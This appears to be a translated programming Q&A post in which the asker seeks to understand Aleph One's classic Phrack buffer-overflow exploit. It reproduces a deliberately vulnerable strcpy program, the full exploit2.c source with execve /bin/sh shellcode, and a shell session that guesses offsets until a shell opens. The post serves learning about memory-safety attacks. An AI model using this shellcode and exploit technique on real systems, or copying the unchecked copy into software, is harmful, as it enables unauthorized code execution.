【发布时间】:2015-12-06 11:26:37
【问题描述】:
我正在查看aleph's article on phrack magazine。下面的代码也可以在那里找到。
我们有一个易受攻击的可执行文件,它的代码是:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
现在,由于我们真的不知道,当试图攻击该可执行文件时(通过溢出buffer),buffer 的地址是什么。我们需要知道它的地址,因为我们想要覆盖 ret 以指向 buffer 的开头(我们在其中放置我们的 shellcode)。
文章中描述的猜测过程如下:
我们可以创建一个程序,将缓冲区大小作为参数,并且 从它自己的堆栈指针的偏移量(我们相信我们的缓冲区 想溢出可能住)。我们将溢出字符串放在一个 环境变量,所以很容易操作:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
现在我们可以尝试猜测缓冲区和偏移量应该是什么:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
我不明白作者的意思是什么,在explot2.c 中,我们猜测vulnerable.c 中的缓冲区大小,它与堆栈指针有偏移。
- 为什么我们在
exploit2的堆栈指针上应用这个偏移量? - 这对
vulnerable有何影响? - 除了构建
EGG环境变量之外,exploit2.c的用途是什么? - 为什么最后要叫
system("/bin/bash");? - 一般来说
vulnerable和exploit2之间发生了什么?
【问题讨论】:
标签: c stack-overflow reverse-engineering buffer-overflow shellcode